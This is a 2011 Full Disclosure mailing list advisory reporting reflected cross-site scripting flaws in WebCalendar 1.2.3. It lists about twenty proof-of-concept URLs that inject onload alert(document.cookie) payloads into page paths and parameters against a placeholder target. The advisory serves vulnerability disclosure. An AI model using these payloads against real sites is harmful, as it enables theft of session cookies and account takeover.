Full Disclosure mailing list archives

Multiple Cross-Site Scripting vulnerabilities in WebCalendar

From: "sschurtz () t-online de" <sschurtz () t-online de>
Date: Sat, 09 Jul 2011 18:38:18 +0200
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Advisory:           Multiple Cross-Site Scripting vulnerabilities in
WebCalendar
Advisory ID:        SSCHADV2011-008
Author:             Stefan Schurtz
Affected Software:  Version 1.2.3 and probably prior versions
Vendor URL:         http://www.k5n.us/webcalendar.php
Vendor Status:      informed
CVE-ID:             -

==========================
Vulnerability Description:
==========================

This is a Cross-Site Scripting vulnerability

==================
Technical Details:
==================

http://[target]/webcalendar/about/";><body onload=alert(document.cookie)>
http://[target]/webcalendar/about/";><body onload=alert('XSS')>

http://[target]/webcalendar/colors.php?color=";><iframe
onload=alert(document.cookie)>

http://[target]/webcalendar/datesel.php?form=";><iframe
onload=alert(document.cookie)>
http://[target]/webcalendar/datesel.php?form=3&fday=";><iframe
onload=alert(document.cookie)>&fmonth=3&fyear=3&date=20110601
http://[target]/webcalendar/datesel.php?form=3&fday=3&fmonth=";><iframe
onload=alert(document.cookie)>&fyear=3&date=20110601
http://[target]/webcalendar/datesel.php?form=3&fday=3&fmonth=3&fyear=";><iframe
onload=alert(document.cookie)>&date=20110601

http://[target]/webcalendar/year.php/";><body onload=alert(document.cookie)>
http://[target]/webcalendar/select_user.php/";><body
onload=alert(document.cookie)>

http://[target]/webcalendar/week.php/";><body onload=alert(document.cookie)>
http://[target]/webcalendar/month.php/";><body onload=alert(document.cookie)>
http://[target]/webcalendar/search_handler.php/";><body
onload=alert(document.cookie)>
http://[target]/webcalendar/day.php/";><body onload=alert(document.cookie)>
http://[target]/webcalendar/datesel.php/";><body
onload=alert(document.cookie)>
http://[target]/webcalendar/edit_entry.php/";><body
onload=alert(document.cookie)>
http://[target]/webcalendar/search.php/";><body
onload=alert(document.cookie)>
http://[target]/webcalendar/help_edit_entry.php/";><body
onload=alert(document.cookie)>
http://[target]/webcalendar/catsel.php/";><body
onload=alert(document.cookie)>
http://[target]/webcalendar/help_index.php/";><body
onload=alert(document.cookie)>
http://[target]/webcalendar/help_docs.php/";><body
onload=alert(document.cookie)>
http://[target]/webcalendar/help_bug.php/";><body
onload=alert(document.cookie)>

=========
Solution:
=========

- -

====================
Disclosure Timeline:
====================

02-Jul-2011 - informed developers
02-Jul-2011 - Release date of this security advisory
04-Jul-2001 - post on BugTraq

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.k5n.us/webcalendar.php
http://www.rul3z.de/advisories/SSCHADV2011-008.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAk4Yg/kACgkQg3svV2LcbMCIBgCeKwpD6ewcWmgbuBfdrvjqMG6s
ox0AnRb+jp+Q5n69CMZ6UZ4zLal5nEcr
=lmX0
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Current thread:

Multiple Cross-Site Scripting vulnerabilities in WebCalendar sschurtz () t-online de (Jul 09)